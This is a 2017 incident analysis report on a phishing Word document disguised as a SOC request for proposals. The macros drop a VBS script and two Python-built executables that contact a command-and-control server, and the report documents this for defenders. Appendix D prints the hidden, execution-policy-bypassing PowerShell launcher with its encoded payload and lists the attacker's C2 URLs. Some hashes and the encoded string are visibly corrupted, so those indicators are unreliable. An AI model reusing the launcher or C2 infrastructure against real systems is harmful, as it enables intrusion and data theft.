



**INNOVATIVE  
SOLUTIONS**



# Analysis Report for **Malicious** email attachment




(605fefc7829cfa41710e0b844084eab1f180fe513adc1d8f0f82501a154db0f4)

## Head Office

Kingdom of Saudi Arabia  
P.O.Box 69328, Riyadh 11547

**Tel** + 966 11 2931501  
**Email** Info@is.com.sa

Copyright © 2017 Innovative Solutions, All rights reserved.

 @Innovative-Solutions  
 @is\_Arabia  
 @innovative-solutions-sa

## Table of Contents

EXECUTIVE SUMMARY .....	4
KEY OBSERVATIONS.....	4
RECOMMENDATIONS.....	4
File Name: “Requirements of the <Organization Name>.doc’ .....	5
FILE DETAILS .....	5
RISK ASSESSMENT .....	5
STATIC ANALYSIS INVESTIGATION.....	5
DYNAMIC ANALYSIS INVESTIGATION .....	5
NETWORK ANALYSIS .....	6
EXTRACTED FILES ANALYSIS .....	6
CONTENT ANALYSIS.....	6
File Name: “NTUSER.vbs” .....	6
FILE DETAILS .....	6
RISK ASSESSMENT .....	6
STATIC ANALYSIS INVESTIGATION.....	6
DYNAMIC ANALYSIS INVESTIGATION .....	7
NETWORK ANALYSIS .....	7
File Name: “cu.exe” .....	7
FILE DETAILS .....	7
RISK ASSESSMENT .....	7
STATIC ANALYSIS INVESTIGATION.....	7
DYNAMIC ANALYSIS INVESTIGATION .....	8
NETWORK ANALYSIS .....	8
File Name: “la.exe” .....	8
FILE DETAILS .....	8
RISK ASSESSMENT .....	8
STATIC ANALYSIS INVESTIGATION.....	8
DYNAMIC ANALYSIS INVESTIGATION .....	8
NETWORK ANALYSIS .....	9

APPENDIX A .....	10
APPENDIX D .....	13
APPENDIX E .....	14
APPENDIX F .....	16

## EXECUTIVE SUMMARY

On July 17<sup>th</sup>, 2017 malicious email was circulated among employees of a leading security company. The file was disguised as a big business opportunity where the client was asking for proposals for establishing the SOC. Body of email was a single liner statement stating the deceptive purpose of the email. However, the attachment was a zipped file which contained a malicious word document. Snapshot of the email has been added in APPENDIX B.

The word document contained macros that would drop some malicious files upon its execution on different paths of the operating system. These dropped files will make connection with a malicious IP (138.201.75.227) which acted as a command and control center (C&C center) in this case, to further download files. These newly downloaded files keep connection with the C&C center periodically alive and steal critical information from the users' affected machine.

**To conclude, it is confirmed that the file is malicious and executes malign code on the system to steal the critical information.**

## KEY OBSERVATIONS

1. File is malicious with some unusual characteristics and suspicious behavior was shown at the time of execution.
2. Upon execution of the file, it creates few other files and drops them on system which makes connection with a malicious IP over the internet to download further files.
3. Newly downloaded files meddle with the operating system and steal the information from the system while in parallel keeping the connection with IP alive.
4. Multiple Antiviruses have marked these files as malicious Trojan files.

## RECOMMENDATIONS

1. It is recommended not to execute and run the file.
2. If executed, follow the remediation steps in APPENDIX A.

## File Name: “Requirements of the <Organization Name>.doc’

This is the main malicious file and starting point of the attack. This file was sent as an attachment of zip file and was password protected. Password was shared in the body of the email as well. Open execution, it opened as a normal file and didn’t show users any sign of malicious activity. However, in the background it dropped maligned files which created connections with suspicious IP and stole information.

### FILE DETAILS

- ✓ **Filename** : Requirements of the <Organization Name>.doc
- ✓ **Size**: 186KiB (190464 bytes)
- ✓ **Type**: doc
- ✓ **Description**:
  - Composite Document File V2 Document,
  - Author: vkt,
  - Template: Normal.dotm,
  - Last Saved By: vkt,
  - Revision Number: 16,
  - Name of Creating Application: Microsoft Office Word,
  - Total Editing Time: 53:00,
  - Create Time/Date: Wed Mar 8 09:29:00 2017,
  - Last Saved Time/Date: Tue Jul 4 09:13:00 2017,
  - Number of Pages: 1,
  - Number of Words: 88,
  - Number of Characters: 504,
  - Security: 0
- ✓ **SHA256**: 605fefc7829cfa41710e0b844084eab1f180fe513adc1d8f0f82501a154db0f4

### RISK ASSESSMENT

During the risk assessment of this file it was found that it writes malicious data into remote processes, reads the critical information from the system like active computer name, windows installation date and machine GUID.

### STATIC ANALYSIS INVESTIGATION

Furthermore during static analysis it was observed that file is labeled as malicious by most of the Anti-Virus engines. Most of the antivirus mark it as a generic Trojan, Malware and a dropper. Threat Score assigned to this file is 87/100 and is confirmed as malicious. Details for the static analysis has been shared in Appendix B.

### DYNAMIC ANALYSIS INVESTIGATION

To ensure the complete safety dynamic analysis was performed which gave enough evidence to mark it as confirmed malicious. This file contains embedded VBA macros with keywords that indicate auto-execute behavior and unusual characteristics. Upon execution it reads the active computer name and details about the installed applications. Embedded VBA macros execute and create writable temporary files. Many

mutants are created and drops certain files at the following location "C:\Users\Public", NTUSER.vbs, cu.exe and la.exe

Another strange behavior noted was that this file queried sensitive IE security settings. It also installed hooks and patches in the running processes. It created many other files in different paths which then make connections with the command and center and download further malicious files.

## NETWORK ANALYSIS

There was no active connection made with any malicious website by this file. Few websites were mentioned in the script associated with the malicious file, however all links were legit and posed no threat.

## EXTRACTED FILES ANALYSIS

This file upon execution created few files which were found on different paths in the system, these files were further analyzed to trace the origin of the attacks and its behavior.

## CONTENT ANALYSIS

The file was received as an email attachment and was password protected. It was disguised as an RFP document for an organization to establish SOC in their premises.

### File Name: "NTUSER.vbs"

## FILE DETAILS

- ✓ **Filename** : NTUSER.vbs
- ✓ **Size**: 2.3KiB (2348 bytes)
- ✓ **Type**: script, vbs
- ✓ **SHA256**: d530295c1ec983047413f1e412bad6b07d8735763c642a4b93dd8127b5a68f67
- ✓ **MD5**: 3ca76a4c6b1d0c5bfd3cecb1955a281c

## RISK ASSESSMENT

This file was generated upon execution of the word office file due to the presence of macros in it. It was found that it writes malicious data into remote processes, reads the critical information from the system like active computer name, windows installation date and machine GUID. This also makes a network connection with the host outside the internal network.

## STATIC ANALYSIS INVESTIGATION

During static analysis and it was observed that file had malicious behavior. It has been marked by few antiviruses as malicious which open execution proved to be risky. It is labeled as Trojan script and PowerShell executor. It has been assigned threat score of 67/100.

## DYNAMIC ANALYSIS INVESTIGATION

Based on the results of static analysis, it was decided to dig deep and investigate further. Dynamic analysis was performed and it was found that it writes data to a remote process and extracts critical information from the system. It makes active network connections as well.

Two legit processes of windows were continuously executed (wscript.exe, powershell.exe) by this script that read the windows installation date, read cryptographic machine GUID and wrote data to remote process powershell.exe. Wscript.exe calls a shell file which was created by the VB script and runs few commands to log script engine calls. This spawned the process powershell.exe with base64 encoded string which played the major role in the attack to make connection with the suspicious IP. Snapshot for this has been added in the Appendix D.

## NETWORK ANALYSIS

Although the main word office file didn't make any network connections, however this VB script file successfully makes the connection with the suspicious IP address. Netuser.vbs file makes connection with malicious IP address (138.201.75.227) on port 80 using PowerShell. This IP leads to a location somewhere in Germany. Evidence has been attached in Appendix D.

### File Name: "cu.exe"

## FILE DETAILS

- ✓ **Filename** : cu.exe
- ✓ **Size**: 5.9MiB (6194351 bytes)
- ✓ **Type**: peexe
- ✓ **Description**: PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows
- ✓ **SHA256**: 371f104b7876b9080c519510879235f36edb6668097de475949b84ab72ee9a9a

## RISK ASSESSMENT

This is another file involved in the malicious attack using email as entrance point. It is certain that it reads terminal service related keys which are often RDP related. Like other files involved it writes data to the remote processes and reads information about the system.

## STATIC ANALYSIS INVESTIGATION

File's suspicious behavior was quite evident as most of the antivirus engines declared it as a malicious virus. It has been marked by few antiviruses as malicious which open execution can be dangerous. It is labeled as Trojan python kaazar. It has been assigned threat score of 100/100.

## DYNAMIC ANALYSIS INVESTIGATION

Dynamic analysis of the file exposed many API calls which extracted information about the system. Extracted information was mostly about the processes, memory, volume information and registry. Registry keys were accessed and queries from different sections of the registry. Snapshot was the registry access and queries has been added in APPENDIX E.

No mutants were created, however many temporary files were created which kept on loading different modules from the system which are mentioned in Appendix E. It also marks files and registry keys for monitoring and loads modules for deletion of certain DLL files.

This file engaged with the system files down to its core libraries which are part of Microsoft C runtime Library. These files are used by the system itself and re loaded in the memory as per the requirement. It successfully creates many PE32 executable DLLs in the temporary folder. DLLs written have python extensions. Snapshot for this has been added in the Appendix E.

## NETWORK ANALYSIS

There was no active connection found by this file to any malicious host.

### File Name: "la.exe"

## FILE DETAILS

- ✓ **Filename :** la.exe
- ✓ **Size:** 5.5MiB (5743901 bytes)
- ✓ **Type:** peexe
- ✓ **Description:** PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows
- ✓ **SHA256:** 480c555dbd32b6cc6ed88292757f77ba7abc50c002d1e2decddae8b267199e88

## RISK ASSESSMENT

La.exe showed similar reaction to cu.exe as it reads terminal service related keys which are often RDP related. Like other files involved it writes data to the remote processes and reads information about the system.

## STATIC ANALYSIS INVESTIGATION

File's suspicious behavior was quite evident as most of the antivirus engines declared it as a malicious virus. It has been assigned threat score of 61/100.

## DYNAMIC ANALYSIS INVESTIGATION

This file drops many PE32 executables (DLL) details of which have been mentioned in APPENDIX F. These executables are ultimately opened with deletion access rights and marked for deletion. This proves that file



has the ability to look up and elevate the privileges. It injects code into the virtual address of legit modules of Microsoft Windows mentioned in APPENDIX F.

An interesting finding about the la.exe file is that its header claims this file to be generated on Thu Jan 1 00:00:00 1970. It would relaunch itself using different environment variables. It also accesses and opens the Kernel Security Device Driver.

## **NETWORK ANALYSIS**

There was no active connection found by this file to any malicious host.

## APPENDIX A

1. Immediately delete the browser saved credentials
2. All users SHOULD IMMEDIATELY CHANGE their password for all their sites including official and social websites.
3. Ensure that you are using different password for each website / service
4. Ensure your passwords are complex and adhere to strong password policies.
5. Users should ensure that no passwords are SAVED IN THE BROWSER.
6. All effected users should check if the 3 (la.exe, cu.exe, uac.exe) files exist on their machine, specifically in this location "C:\Users\Public"
7. Download Kaspersky Antivirus Program , the link is as follows: <http://devbuilds.kaspersky-labs.com/devbuilds/KVRT/latest/full/KVRT.exe>
8. If you are connected with a network immediately disconnect the machine from network.
9. Run Kaspersky Virus Removal Tool to RUN As Admin
10. Click on Change Parameters
11. Select Check Box for System Drive and Start the SCAN.

## APPENDIX B

From: [redacted] <[redacted]@[redacted].gov>  
 Date: Mon, Jul 17, 2017 at 11:06 AM  
 Subject: Government SOC Service  
 To: [redacted]@[redacted].com, [redacted]@[redacted].com

Hi, Our Organization needs a SOC. The requirements of our organization are included in the attachment. Please after watching the RFP, Email us your comments.

Document is in Protected Mode, De-crypt it with following hash: bc8bf06ae0407a5293e6e7559efbbf35  
 ZipPassword: [redacted]@2017


IT Administrator of [redacted] Government  
 site: [redacted].gov

SHA256: 605fec7829cfa41710e0b844084eab1f180fe513adc1d8f0f82501a154db0f4

File name: Requirements of the [redacted].doc

Detection ratio: 28 / 57

Analysis date: 2017-07-18 13:02:07 UTC ( 22 hours, 2 minutes ago )



Analysis | File detail | Additional information | Comments (1) | Votes

Antivirus	Result	Update
Ad-Aware	Trojan.GenericKD.5628769	20170718
AegisLab	Troj.Dropper.Powershellc	20170718
ALYac	Trojan.GenericKD.5628769	20170718
Arcabit	Trojan.Generic.D55DB91	20170718
Avast	VBA:Downloader-FHS [Trj]	20170718
AVG	VBA:Downloader-FHS [Trj]	20170718
Avira (no cloud)	VBS/Dldr.Agent.cpqbx	20170718
Baidu	VBA.Trojan-Downloader.Agent.bpj	20170718
BitDefender	Trojan.GenericKD.5628769	20170718
CAT-QuickHeal	W97M.Downloader.BGE	20170718
Cyren	Trojan.YVGT-2	20170718
Emsisoft	Trojan.GenericKD.5628769 (B)	20170718
F-Secure	Trojan.GenericKD.5628769	20170718
Fortinet	WM/PowerShell.Bltr	20170718
GData	Trojan.GenericKD.5628769	20170718
Ikarus	Trojan-Dropper.PowerShell.Agent	20170718
Kaspersky	Trojan-Dropper.PowerShell.Agent.b	20170718
MAX	malware (ai score=81)	20170718
McAfee	RDN/Generic Dropper	20170718

## APPENDIX C

### Creates mutants

**details** "\\Sessions\1\BaseNamedObjects\Local\10MU\_ACBPIDS\_S-1-5-5-0-61147"  
 "\\Sessions\1\BaseNamedObjects\Global\552FFA80-3393-423d-8671-7BA046BB5906"  
 "\\Sessions\1\BaseNamedObjects\Local\10MU\_ACB10\_S-1-5-5-0-61147"  
 "\\Sessions\1\BaseNamedObjects\Local\ZonesCounterMutex"  
 "\\Sessions\1\BaseNamedObjects\Local\ZoneAttributeCacheCounterMutex"  
 "\\Sessions\1\BaseNamedObjects\Local\ZonesCacheCounterMutex"  
 "\\Sessions\1\BaseNamedObjects\Local\ZonesLockedCacheCounterMutex"  
 "\\Sessions\1\BaseNamedObjects\Global\MTX\_MSO\_Forma1\_S-1-5-21-4162757579-3804539371-4239455898-1000"  
 "\\Sessions\1\BaseNamedObjects\Global\MTX\_MSO\_AdHoc1\_S-1-5-21-4162757579-3804539371-4239455898-1000"  
 "Local\10MU\_ACB10\_S-1-5-5-0-61147"  
 "Global\MTX\_MSO\_AdHoc1\_S-1-5-21-4162757579-3804539371-4239455898-1000"  
 "Local\ZonesLockedCacheCounterMutex"  
 "Local\ZonesCounterMutex"

### Installs hooks/patches the running process

**details** "WINWORD.EXE" wrote bytes "b80000000663d33c0baf437420068dcf55060c3" to virtual address "0x004AE20C"  
 "WINWORD.EXE" wrote bytes "e99e4895ef" to virtual address "0x75373D01" ("SetUnhandledExceptionFilter@KERNEL32.DLL")  
 "WINWORD.EXE" wrote bytes "e2fa73b0" to virtual address "0x6C1D9904" (part of module "RICHED20.DLL")  
 "WINWORD.EXE" wrote bytes "e9603371ef" to virtual address "0x755F4731" ("SysAllocStringByteLen@OLEAUT32.DLL")  
 "WINWORD.EXE" wrote bytes "e9239973ef" to virtual address "0x755F5DEE" ("VariantChangeType@OLEAUT32.DLL")  
 "WINWORD.EXE" wrote bytes "aa9b73b0" to virtual address "0x65F278E4" (part of module "OART.DLL")  
 "WINWORD.EXE" wrote bytes "e99a5470ef" to virtual address "0x755F3E59" ("SysFreeString@OLEAUT32.DLL")  
 "WINWORD.EXE" wrote bytes "e9c532b0ef" to virtual address "0x757A6143" ("OleLoadFromStream@OLE32.DLL")  
 "WINWORD.EXE" wrote bytes "9caa1db0" to virtual address "0x64F20BA8" (part of module "MSO.DLL")  
 "WINWORD.EXE" wrote bytes "e9365571ef" to virtual address "0x755F3EAE" ("VariantClear@OLEAUT32.DLL")  
 "WINWORD.EXE" wrote bytes "b81110000663d33c0ba24ea4a0068dcf55060c3" to virtual address "0x004AE16C"  
 "WINWORD.EXE" wrote bytes "a3c273b0" to virtual address "0x6742F530" (part of module "WWLIB.DLL")  
 "WINWORD.EXE" wrote bytes "ecea1b0" to virtual address "0x2F9F1B94" (part of module "WINWORD.EXE")

### Dropped files

**details** "index.dat" has type "data"  
 "-WRS(2D65A6CE-3088-4A7C-B073-841C7C9CD30D).tmp" has type "data"  
 "605fec7829cfa41710e0b844084eabf180fe513adcl8f0f82501a154db0f4.LNK" has type "MS Windows shortcut Item id list present Points to a file or directory Has Relative path Archive i  
 me=Sun Jul 16 17:08:33 2017 mtime=Sun Jul 16 17:08:33 2017 atime=Sun Jul 16 17:08:38 2017 length=190464 window=hide"  
 "-55fec7829cfa41710e0b844084eabf180fe513adcl8f0f82501a154db0f4.doc" has type "data"  
 "-SNormal.dotm" has type "data"

## Unusual Characteristics

### Contains embedded VBA macros with interesting strings

**details** Found pattern type "Executable file name" with value: ".ell.exe"  
 Found pattern type "Executable file name" with value: "MSVCR110.dll"  
**source** Static Parser  
**relevance** 10/10

### Contains embedded VBA macros with suspicious keywords

**details** Found suspicious keyword "ShowWindow" which indicates: "May hide the application"  
**source** Static Parser  
**relevance** 10/10

## APPENDIX D

### Spawns new processes

**details** Spawned process "powershell.exe" with commandline "-WindowStyle hidden -ExecutionPolicy Bypass -nologo -noprofile -e SOBvAHYAbwBrAGUAlOBFAHqAcByAGUAcwBzAGkAbwBuCAAJAAoAE4ZOB3ACOATwAGoAZOBjAHQAIABJAE8ALgBTAHQAcgBIAGEAbOBSAGUAYOBkAGUAcgAgCgAJAAoAE4ZOB3ACOATwBiAGoAZOBjAHQAIABJAE8ALgBDAG8AbOBwAHIAZOBzAHMAaOBvAG4ALgBEAGUAZgBsAGEAdABIAFMAdAyAGUAYOBtCAAI(AAkJAkgAgtgBIAHcALOBPAIaagBIAGMAdAAgAEkAtwAuAE0AZOBzAG8AcgB5AFMAdABYAGUAYOBtCAAI(KAAsACOA(KABbAEMAbwBuAHYAZOBjAHQAXQA6ADoARgByAG8AbOBcCAGEAcwBIADY)NABTAHQAcgBpAG4AZwAoACcAOAAzAFMATgAwAE4ARAB3AFMAeOAzAFgAOOBVAC8ASwBTAGsAMAB1AFUAZgBCAEwATABkAEUATABUDAAAMQBSAHoAcwBsAE0AegBTAHYAUgAvEgAUABKAEwAOAAvAEwAeC)BVADkTOBDFAFMANABwAHkAcwB4AEwAMQAvAEQAUABLAEMAawBwAHMATgBMAFgATgB6AFMAMgAwAEQATOB5AE0ATgBRAHoATgA5AFUAegBNAGoATABYAHoOAAzAFgAVAAZADMAUQBLAHkAZwAyAFYATgImAFUANOBPAFUAOwBBAEFAPOA9ACcAKQAoAclAKQAsACAAWwBJAE8ALgBDAG8AbOBwAHIAZOBzAHMAaOBvAG4ALgBDAG8AbOBwAHIAZOBzAHMAaOBvAG4ATOBvAGoAZOBdADoAOGBEAGUAYwBvAGoAcByAGUAcwBzCkAKQAsACAAswBUAGUAeABOAC4AROBuAGMABwBkAGkAbgBnAF0A0gA6AEELwBDAAEKASQApAclALgBSAGUAYOBkAF0AbwBFAG4ZAAsACkAOwA=" (UID: 00013736-00002396)

**source** Monitored Target  
**relevance** 3/10

### Installation/Persistence

#### Creates new processes

**details** "wscript.exe" is creating a new process (Name: "%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe", Handle: )

**source** API Call  
**relevance** 8/10

#### Dropped files

**details** "DSOILLOEYYCNDTMU8Y40.temp" has type "data"

**source** Extracted File  
**relevance** 3/10

#### Executes a visual basic script

**details** Process "wscript.exe" with commandline ""C:\d530295c1ec983047413f1e412bad6b07d8735763c642a4b93dd8127b5a68f67vbs"" (UID: 00013582-00002284)

**source** Monitored Target  
**relevance** 10/10

#### Opens the MountPointManager (often used to detect additional infection locations)

**details** "wscript.exe" opened "MountPointManager"

**source** API Call

## Associated Artifacts for 138.201.75.227

Associated URL	Threat Level	Positives
http://138.201.75.227/mo/la.psl	malicious	2/64
http://138.201.75.227/v2o/,Heuristic/	malicious	3/64
http://138.201.75.227/v2o/?action=register&data=UEM6OkFkbWluaXN0cmF0b3I6OjY0LWJpdHw2LjEuNzYwMXxtNaWNyb3NvZnQgV2luZG93cyA3IFByb2Zlc3Npb25hbCB8QzpcV2luZG93czo6MTcyLjE2LjQxLjlxNQ==	malicious	3/64
http://138.201.75.227/v2o/?action=getCommand&id=8555565	malicious	3/64
http://138.201.75.227/v2o/	malicious	2/64


## Network Analysis

### DNS Requests

No relevant DNS requests were made.

### Contacted Hosts

Login to Download Contacted Hosts (CSV)

IP Address	Port/Protocol	Associated Process	Details
138.201.75.227 	80 TCP	powershell.exe PID: 2396	Germany ASN: 24940 (Hetzner Online AG)

## APPENDIX E

### Module Path

C:\371f104b7876b9080c519510879235f36edb6668097de475949b84ab72ee9a9a.exe
%WINDIR%\System32\ntdll.dll
%WINDIR%\System32\kernel32.dll
%WINDIR%\System32\KernelBase.dll
%WINDIR%\System32\msvcrt.dll
%WINDIR%\System32\ws2_32.dll
%WINDIR%\System32\rpcrt4.dll
%WINDIR%\System32\nsi.dll
%WINDIR%\System32\apphelp.dll
%WINDIR%\System32\tzres.dll
%WINDIR%\System32\en-US\tzres.dll.mui

setlocale,argument,command UID: 00013436-00002548-5030-108-00403BD0	72
fread,fseek UID: 00013436-00002548-5030-10-00401550	39
strncpy,free,PQ@ UID: 00013436-00002548-5030-48-004053C0	44
Virtual,Protect,failed UID: 00013436-00002548-5030-82-00409980	91
kernel32,Activate,Library UID: 00013436-00002548-5030-67-00405230	70
strncpy,getenv,strchr UID: 00013436-00002548-5030-217-00402BEC	57
executable,Failed,Module UID: 00013436-00002548-5030-72-00402CDO	35
Error,loading,mbscpy UID: 00013436-00002548-5030-62-00403A80	47
Multi,Wide,Char UID: 00013436-00002548-5030-21-00404FBO	56
Multi,Wide,Char UID: 00013436-00002548-5030-8-00405150	52

Drops executable files

Monitors specific registry key for changes

details ""  
  
 source API Call  
 relevance 4/10

System Destruction

Marks file for deletion

details "C:\37f1f04b7876b9080c519510879235f36edb6668097de475949b84ab72ee9a9a.exe" marked "%TEMP%\\_MEI25482\Crypto.Hash\_SHA256.pyd" for deletion  
 "C:\37f1f04b7876b9080c519510879235f36edb6668097de475949b84ab72ee9a9a.exe" marked "%TEMP%\\_MEI25482\Crypto.Random.OSRNG.winrandom.pyd" for deletion  
 "C:\37f1f04b7876b9080c519510879235f36edb6668097de475949b84ab72ee9a9a.exe" marked "%TEMP%\\_MEI25482\Crypto.Util.stxor.pyd" for deletion  
 "C:\37f1f04b7876b9080c519510879235f36edb6668097de475949b84ab72ee9a9a.exe" marked "%TEMP%\\_MEI25482\Crypto.Util\_counter.pyd" for deletion  
 "C:\37f1f04b7876b9080c519510879235f36edb6668097de475949b84ab72ee9a9a.exe" marked "%TEMP%\\_MEI25482\gevent.ares.pyd" for deletion  
 "C:\37f1f04b7876b9080c519510879235f36edb6668097de475949b84ab72ee9a9a.exe" marked "%TEMP%\\_MEI25482\gevent.core.pyd" for deletion  
 "C:\37f1f04b7876b9080c519510879235f36edb6668097de475949b84ab72ee9a9a.exe" marked "%TEMP%\\_MEI25482\gevent\_semaphore.pyd" for deletion  
 "C:\37f1f04b7876b9080c519510879235f36edb6668097de475949b84ab72ee9a9a.exe" marked "%TEMP%\\_MEI25482\gevent\_util.pyd" for deletion  
 "C:\37f1f04b7876b9080c519510879235f36edb6668097de475949b84ab72ee9a9a.exe" marked "%TEMP%\\_MEI25482\greenlet.pyd" for deletion  
 "C:\37f1f04b7876b9080c519510879235f36edb6668097de475949b84ab72ee9a9a.exe" marked "%TEMP%\\_MEI25482\include\pyconfig.h" for deletion  
 "C:\37f1f04b7876b9080c519510879235f36edb6668097de475949b84ab72ee9a9a.exe" marked "%TEMP%\\_MEI25482\include" for deletion  
 "C:\37f1f04b7876b9080c519510879235f36edb6668097de475949b84ab72ee9a9a.exe" marked "%TEMP%\\_MEI25482\microsoftvc90.crt.manifest" for deletion  
 "C:\37f1f04b7876b9080c519510879235f36edb6668097de475949b84ab72ee9a9a.exe" marked "%TEMP%\\_MEI25482\msvc90.dll" for deletion  
 source API Call  
 relevance 10/10

Open	Path	HKLM\SYSTEM\CURRENTCONTROLSET\CONTROL\SESSION MANAGER\
Open	Path	HKLM\SYSTEM\CURRENTCONTROLSET\CONTROL\TERMINAL SERVER\
Query	Path Key Value	HKLM\SYSTEM\CONTROLSET001\CONTROL\TERMINAL SERVER\TSUSERENABLED TSUSERENABLED 000000004000000040000000000000
Open	Path	HKLM\SYSTEM\CURRENTCONTROLSET\CONTROL\SAFEBOOT\OPTION\
Open	Path	HKLM\SYSTEM\CURRENTCONTROLSET\CONTROL\SRP\GP\DLL\
Open	Path	HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS\
Open	Path	HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS\
Open	Path	HKLM\SYSTEM\CURRENTCONTROLSET\CONTROL\NLS\SORTING\VERSIONS\
Query	Path Key Value	HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS\  00000000100000014000000240000000000000000300030003000360030003100300031002E0030003000300036003000310030003100
Open	Path	HKLM\SYSTEM\CURRENTCONTROLSET\CONTROL\SESSION MANAGER\
Open	Path	HKLM\SYSTEM\CURRENTCONTROLSET\CONTROL\SESSION MANAGER\APPCERTDLLS\

## APPENDIX F

### Drops executable files

```

details "Crypto.Hash._SHA256.pyd" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"
          "python27.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"
          "msvcm90.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 Mono/.Net assembly for MS Windows"
          "Crypto.Util.strxor.pyd" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"
          "Crypto.Cipher._DES.pyd" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"
          "psutil._psutil_windows.pyd" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"
          "pywintypes27.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"
          "unicodedata.pyd" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"
          "msvcr90.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"
          "select.pyd" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"
          "Crypto.Cipher._ARC4.pyd" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"
          "_elementtree.pyd" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"
          "pyexpat.pyd" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"
source Extracted File
relevance 10/10

```

Module Path	Module Base
C:\la.exe	00400000
%WINDIR%\System32\ntdll.dll	77220000
%WINDIR%\System32\kernel32.dll	75670000
%WINDIR%\System32\KernelBase.dll	753F0000
%WINDIR%\System32\msvcrt.dll	76BC0000
%WINDIR%\System32\ws2_32.dll	77380000
%WINDIR%\System32\rpcrt4.dll	76D40000
%WINDIR%\System32\nsi.dll	77410000
%WINDIR%\System32\apphelp.dll	75270000
%WINDIR%\System32\tzres.dll	002C0000
%WINDIR%\System32\en-US\tzres.dll.mui	002D0000